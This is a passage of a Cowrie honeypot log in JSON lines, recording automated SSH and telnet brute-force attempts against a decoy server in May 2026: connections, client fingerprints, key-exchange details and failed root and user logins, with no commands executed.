{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:ec:c5:9c:8c:20:6c:ca:1c:9d:32:a9:9b:2f:f4:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDR5Z7JekZtM2VackMRLOraOfRlDzBI5f5hDHBWq8BmiVTlpiEpsG8Cm8OkgYWMqdxzbeo50WWZPA7Sa4a1Yqgk4peRDbDD/WTocNzgLv5qVUHuV9OttKwI8qy5YDv0EknO108MTVN+Uha1bFQQOJT8TGwjpfpk6PsbcTozK5l3keFVeEVNfr2HTINFIbeccI5l0Cje770pesLyCngboBdBUpcfxFjf2SncvvIp+vRNRpKIe0XQ/OtC+VZ5yvHiv+00/YU++ZN/fXpBApT6U0fHrRwSVp01VOykIEEXhXHytBr6iDXG7p/Mfgnmgq5ZwvJFQA3D78Kt/DBjXnmroqQr51Zr1S26okPHJGmtDPhO2VEpObi6jrf/tVQ0GaNQjIEKhSCLvGCsmncBP2iEUfvqZqRwtojdlcitXIDk0nm0QpLm97TIzwTCCDVBvVINVrJ91nKacEJHe2nE61Dz5PHQyg1cthk6RsQkgrQ2XAvPL2pCt4gyRRX5Y30I6aWrJ+E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:ec:c5:9c:8c:20:6c:ca:1c:9d:32:a9:9b:2f:f4:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.126523Z","src_ip":"104.243.46.222","session":"06d5818a92ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:ec:c5:9c:8c:20:6c:ca:1c:9d:32:a9:9b:2f:f4:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDR5Z7JekZtM2VackMRLOraOfRlDzBI5f5hDHBWq8BmiVTlpiEpsG8Cm8OkgYWMqdxzbeo50WWZPA7Sa4a1Yqgk4peRDbDD/WTocNzgLv5qVUHuV9OttKwI8qy5YDv0EknO108MTVN+Uha1bFQQOJT8TGwjpfpk6PsbcTozK5l3keFVeEVNfr2HTINFIbeccI5l0Cje770pesLyCngboBdBUpcfxFjf2SncvvIp+vRNRpKIe0XQ/OtC+VZ5yvHiv+00/YU++ZN/fXpBApT6U0fHrRwSVp01VOykIEEXhXHytBr6iDXG7p/Mfgnmgq5ZwvJFQA3D78Kt/DBjXnmroqQr51Zr1S26okPHJGmtDPhO2VEpObi6jrf/tVQ0GaNQjIEKhSCLvGCsmncBP2iEUfvqZqRwtojdlcitXIDk0nm0QpLm97TIzwTCCDVBvVINVrJ91nKacEJHe2nE61Dz5PHQyg1cthk6RsQkgrQ2XAvPL2pCt4gyRRX5Y30I6aWrJ+E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.131620Z","src_ip":"104.243.46.222","session":"06d5818a92ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:5d:80:2f:4f:c1:e5:bb:18:52:c9:42:9d:f7:1a:85","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMwtgI/g2EsQXq9iJgQldyvdBD8lW5AHUQ6YVdDjv8wIHaoF5YECDPLHDNnTwrUj8YYhplpas4suS3hJySpYOshKmG6ezqFylDI+CIb7zoBENwiS+BrOkWXUHpkHoy8RrqFE0b2t9oJ6kOFpoj4SkfHcR3zlpmCUSIKLf065AnVXAAAAFQCTyzPqUUgVnGB5xcFdWxPHASPGVQAAAIEAtnKMXFyr3GyY0qggxuMfv39LPVe+irMGr7uic7wqeJSxYDDv7nuCAO8I2ADAXTcS2WN4NFoIQdOgvzDiRM3gGBZoG+wa7DpLZ3PyH7x1M5aKw3EeRlnIYvWT5f47tNSV6E1U+pqhWM56N2DBeGWJexrNt1lzmzhfv2c/k3+A9ZAAAACALIc+em/GekoNedJck6T0kxBKpel2MYcXuE2ftAw5XvzMf6xGSQUW/QQWmiAaEDAJJyYBItVv3N51jpmheTJr4ebgfd0x6sRYq0spVmYe1VrqxUE7VPc8HlVXkA9/kFKrdb77N87eEVnGywPUiu7LOp95Naubs6Pdlx75fljRPaY=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 44:5d:80:2f:4f:c1:e5:bb:18:52:c9:42:9d:f7:1a:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.200615Z","src_ip":"89.37.117.103","session":"e98cebfd9916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:5d:80:2f:4f:c1:e5:bb:18:52:c9:42:9d:f7:1a:85","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMwtgI/g2EsQXq9iJgQldyvdBD8lW5AHUQ6YVdDjv8wIHaoF5YECDPLHDNnTwrUj8YYhplpas4suS3hJySpYOshKmG6ezqFylDI+CIb7zoBENwiS+BrOkWXUHpkHoy8RrqFE0b2t9oJ6kOFpoj4SkfHcR3zlpmCUSIKLf065AnVXAAAAFQCTyzPqUUgVnGB5xcFdWxPHASPGVQAAAIEAtnKMXFyr3GyY0qggxuMfv39LPVe+irMGr7uic7wqeJSxYDDv7nuCAO8I2ADAXTcS2WN4NFoIQdOgvzDiRM3gGBZoG+wa7DpLZ3PyH7x1M5aKw3EeRlnIYvWT5f47tNSV6E1U+pqhWM56N2DBeGWJexrNt1lzmzhfv2c/k3+A9ZAAAACALIc+em/GekoNedJck6T0kxBKpel2MYcXuE2ftAw5XvzMf6xGSQUW/QQWmiAaEDAJJyYBItVv3N51jpmheTJr4ebgfd0x6sRYq0spVmYe1VrqxUE7VPc8HlVXkA9/kFKrdb77N87eEVnGywPUiu7LOp95Naubs6Pdlx75fljRPaY=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.205409Z","src_ip":"89.37.117.103","session":"e98cebfd9916","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:e5:c4:97:5e:8e:4e:82:ed:c7:5a:79:36:da:60:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlhSKuflxf3Belp/JPOUjVslwTqEEkWR1/JE5tR0GbXMvX/gGe9aH9ZV1QtQTo58ajZfd1IvxqVJj8oEnKxK4rFVoXcNAva5yZmlD+UVpHX86aYl8TNnWe2HQOIK5He/ViTELW5jkn7rD9s3GOcB9YNhiUiGE8kmfPwWW2R4vvSTS6kJ1c36jsAqj39r+0W1NUjjJtWGmybpBv902tMWMoLhhTt/t6u8FApb93GVm3U04f/AIxsJjYiI5FJcRLKvHQ+kVC7kIhMc6z/UO2k84AC0cvGR4l+9XPsnO/HZfx6rkkug5uH17dHmOQzYH48M+pG+ICQhAcAU0vU8J7+Fl8tO0J3cbx8CeN4+OE4tIfevyn5lhRMSufMKMtXYpu9qJLZYgAC57ryvvnaaFL9Im7AulgdW0bIBC1ML5ELBrBlcjj+MXkovUaNw4BAu1AH0mkOC9WsFLCO6yYr0ddPYqcXr5mcTk1K2bec/H9GP4YHDK8X6g+t5P7tqZyNzNAMZ3Bb5Jvx76JiI2+QCUW/ZIn2Cp8LT2Gj2OB+tpXNId12QRb3l6jsIFoY13DL23xg8rDdm9wSrjrqPt43qfVC8y0LR3HLbazsbg7wx/jQvJOr32Trw8VOMVHPDYblywFnRRl5C0K2WfoPzc5z44BcwKiMUyhGhblRmFwWEO8lVHE5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:e5:c4:97:5e:8e:4e:82:ed:c7:5a:79:36:da:60:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.211237Z","src_ip":"104.243.46.222","session":"06d5818a92ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:e5:c4:97:5e:8e:4e:82:ed:c7:5a:79:36:da:60:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlhSKuflxf3Belp/JPOUjVslwTqEEkWR1/JE5tR0GbXMvX/gGe9aH9ZV1QtQTo58ajZfd1IvxqVJj8oEnKxK4rFVoXcNAva5yZmlD+UVpHX86aYl8TNnWe2HQOIK5He/ViTELW5jkn7rD9s3GOcB9YNhiUiGE8kmfPwWW2R4vvSTS6kJ1c36jsAqj39r+0W1NUjjJtWGmybpBv902tMWMoLhhTt/t6u8FApb93GVm3U04f/AIxsJjYiI5FJcRLKvHQ+kVC7kIhMc6z/UO2k84AC0cvGR4l+9XPsnO/HZfx6rkkug5uH17dHmOQzYH48M+pG+ICQhAcAU0vU8J7+Fl8tO0J3cbx8CeN4+OE4tIfevyn5lhRMSufMKMtXYpu9qJLZYgAC57ryvvnaaFL9Im7AulgdW0bIBC1ML5ELBrBlcjj+MXkovUaNw4BAu1AH0mkOC9WsFLCO6yYr0ddPYqcXr5mcTk1K2bec/H9GP4YHDK8X6g+t5P7tqZyNzNAMZ3Bb5Jvx76JiI2+QCUW/ZIn2Cp8LT2Gj2OB+tpXNId12QRb3l6jsIFoY13DL23xg8rDdm9wSrjrqPt43qfVC8y0LR3HLbazsbg7wx/jQvJOr32Trw8VOMVHPDYblywFnRRl5C0K2WfoPzc5z44BcwKiMUyhGhblRmFwWEO8lVHE5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.215369Z","src_ip":"104.243.46.222","session":"06d5818a92ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.288598Z","src_ip":"104.243.46.222","session":"06d5818a92ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:ac:3e:c9:9a:1a:e9:bc:a5:79:85:7b:29:02:62:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYsghyyJx7JFMEe6zekkDYFUQ3BbeERq7llzJuDt9oIgiCPNyrPHlZejudgeV1zwYSQZGzDaSwoTzoi2pgKJkzfo6AiUwcgpiD+To+Kqp68FaX/ufxocphe2LxBVqoElMJ5KCrqtcYB7bGD6yhXwcu+S2WnLgqLj+1USoZCRglJ/InP20nywoYTSEiLJ5OtuErVu7dkmVD+cg8X7/xQXN1COCJTu6zrcVaUXSFRhYoUQTilQGYtMTpvokGg305Cb5ojw1fMrBxiVNH85/Di0qdhcftLzqQXBTKOQtZzZGk6WWrfcFW/VKb9odx5ui6jrUrujGyk+cVYrgyT9/K/MVfdpZGsYq7H858Pns33WoQnZgfEsKtZJhqswADB7KenUCaEO9EapsKgkY+ZAylcYO8PVrXtV8PLMmHkrJscwpnB6DTiQA6xARRYL7IykHqXCdgLNuKIPmtsO44FSIT/o3ReiANKezDHrOAaIyEt+1om6Qn+vYxD5St6wBWvumqd6c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:ac:3e:c9:9a:1a:e9:bc:a5:79:85:7b:29:02:62:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.343860Z","src_ip":"89.37.117.103","session":"e98cebfd9916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:ac:3e:c9:9a:1a:e9:bc:a5:79:85:7b:29:02:62:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYsghyyJx7JFMEe6zekkDYFUQ3BbeERq7llzJuDt9oIgiCPNyrPHlZejudgeV1zwYSQZGzDaSwoTzoi2pgKJkzfo6AiUwcgpiD+To+Kqp68FaX/ufxocphe2LxBVqoElMJ5KCrqtcYB7bGD6yhXwcu+S2WnLgqLj+1USoZCRglJ/InP20nywoYTSEiLJ5OtuErVu7dkmVD+cg8X7/xQXN1COCJTu6zrcVaUXSFRhYoUQTilQGYtMTpvokGg305Cb5ojw1fMrBxiVNH85/Di0qdhcftLzqQXBTKOQtZzZGk6WWrfcFW/VKb9odx5ui6jrUrujGyk+cVYrgyT9/K/MVfdpZGsYq7H858Pns33WoQnZgfEsKtZJhqswADB7KenUCaEO9EapsKgkY+ZAylcYO8PVrXtV8PLMmHkrJscwpnB6DTiQA6xARRYL7IykHqXCdgLNuKIPmtsO44FSIT/o3ReiANKezDHrOAaIyEt+1om6Qn+vYxD5St6wBWvumqd6c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.349358Z","src_ip":"89.37.117.103","session":"e98cebfd9916","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:98:3c:6b:f3:f8:bd:ac:fa:90:e2:86:0e:63:cc:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDOA0ZencrpqrOdTFK/Tj7CtZ9mbnH0wNHi5boy1TSE7LOu8cmHR1Pqj8fFjwxvdWkRgPZGk6vJW4iqQa745tXvzfsfBtIOIFyBccfGhj5j0cKGIY7pzilgsmZc5fREGAO6TGmZX+VliA74/YIVw7Y8wrY0WQswbMmonU5ZkoHWAyP3K4Ae0i3o3rQwxWHfd5hfVvN/Joa70HXEIJxGYD1afUcMVlFBvlj1uH6VDPmEp202+xb2ucfTYbtpc+QcdBdqf/TM7uvXUBHmP7/4GBnPZwSGL27bcBIqzfLnD6bkAgq6+0JSHSfAC3wDqzNGziMuC4XiYsa5xO/YCvodvXICcK7NffP6ryI406l+zEl7L1V772Kn/Ozu51qYb+kR36FIlGM5Rydy2taigbVscUNXqM3B0vsqdUuLRAwO5gAZY1R/oVKGuuLrJiVRokDB0LT87usrBnxWN0mvbpoyPc/r8pbiNTNzbdo/KnpItXbCBcPAHlTZsu8ZkWinTCwD7vgbR7pdYxzCylbZFpbY06NOttiASamYluMZmKss2TdC+81tTqyjXKYTuSHEyFf+PI9IByvxmLHMDvFZNwcOHE6xA/SS39oRmzusd8GwPPd/xxg2NRckn27CWFc+FqaOtij+cuYp6Iwxfi2dWxW417ZJs9ApGM0eSxFw6Xs2KzGZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:98:3c:6b:f3:f8:bd:ac:fa:90:e2:86:0e:63:cc:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.477404Z","src_ip":"89.37.117.103","session":"e98cebfd9916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:98:3c:6b:f3:f8:bd:ac:fa:90:e2:86:0e:63:cc:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDOA0ZencrpqrOdTFK/Tj7CtZ9mbnH0wNHi5boy1TSE7LOu8cmHR1Pqj8fFjwxvdWkRgPZGk6vJW4iqQa745tXvzfsfBtIOIFyBccfGhj5j0cKGIY7pzilgsmZc5fREGAO6TGmZX+VliA74/YIVw7Y8wrY0WQswbMmonU5ZkoHWAyP3K4Ae0i3o3rQwxWHfd5hfVvN/Joa70HXEIJxGYD1afUcMVlFBvlj1uH6VDPmEp202+xb2ucfTYbtpc+QcdBdqf/TM7uvXUBHmP7/4GBnPZwSGL27bcBIqzfLnD6bkAgq6+0JSHSfAC3wDqzNGziMuC4XiYsa5xO/YCvodvXICcK7NffP6ryI406l+zEl7L1V772Kn/Ozu51qYb+kR36FIlGM5Rydy2taigbVscUNXqM3B0vsqdUuLRAwO5gAZY1R/oVKGuuLrJiVRokDB0LT87usrBnxWN0mvbpoyPc/r8pbiNTNzbdo/KnpItXbCBcPAHlTZsu8ZkWinTCwD7vgbR7pdYxzCylbZFpbY06NOttiASamYluMZmKss2TdC+81tTqyjXKYTuSHEyFf+PI9IByvxmLHMDvFZNwcOHE6xA/SS39oRmzusd8GwPPd/xxg2NRckn27CWFc+FqaOtij+cuYp6Iwxfi2dWxW417ZJs9ApGM0eSxFw6Xs2KzGZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.481931Z","src_ip":"89.37.117.103","session":"e98cebfd9916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:01.612727Z","src_ip":"89.37.117.103","session":"e98cebfd9916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.125.185","src_port":48114,"dst_ip":"159.203.135.109","dst_port":22,"session":"f47a587bece6","protocol":"ssh","message":"New connection: 43.173.125.185:48114 (159.203.135.109:22) [session: f47a587bece6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:02.083210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:02.094705Z","src_ip":"43.173.125.185","session":"f47a587bece6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:02.163809Z","src_ip":"43.173.125.185","session":"f47a587bece6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student5","password":"student5","message":"login attempt [student5/student5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:02.467979Z","src_ip":"43.173.125.185","session":"f47a587bece6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:03.543127Z","src_ip":"43.173.125.185","session":"f47a587bece6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":35012,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ef4e39aeecc","protocol":"ssh","message":"New connection: 103.91.246.101:35012 (159.203.135.109:22) [session: 5ef4e39aeecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:05.318327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:05.324872Z","src_ip":"103.91.246.101","session":"5ef4e39aeecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:05.553719Z","src_ip":"103.91.246.101","session":"5ef4e39aeecc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2053","message":"login attempt [root/2053] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:06.495472Z","src_ip":"103.91.246.101","session":"5ef4e39aeecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:07.728043Z","src_ip":"103.91.246.101","session":"5ef4e39aeecc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.3442919254303,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:20.387945Z","src_ip":"186.195.16.41","session":"c05e78cb0e40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":41730,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cf9c7c0acfa","protocol":"ssh","message":"New connection: 109.237.96.109:41730 (10.17.0.5:22) [session: 6cf9c7c0acfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:21.406567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:21.411075Z","src_ip":"109.237.96.109","session":"6cf9c7c0acfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:21.501360Z","src_ip":"109.237.96.109","session":"6cf9c7c0acfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12369874","message":"login attempt [root/12369874] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:21.774227Z","src_ip":"109.237.96.109","session":"6cf9c7c0acfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:22.868955Z","src_ip":"109.237.96.109","session":"6cf9c7c0acfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":39014,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9184c9b54b8","protocol":"ssh","message":"New connection: 171.244.141.86:39014 (159.203.135.109:22) [session: a9184c9b54b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:28.594545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:20:28.599648Z","src_ip":"171.244.141.86","session":"a9184c9b54b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group1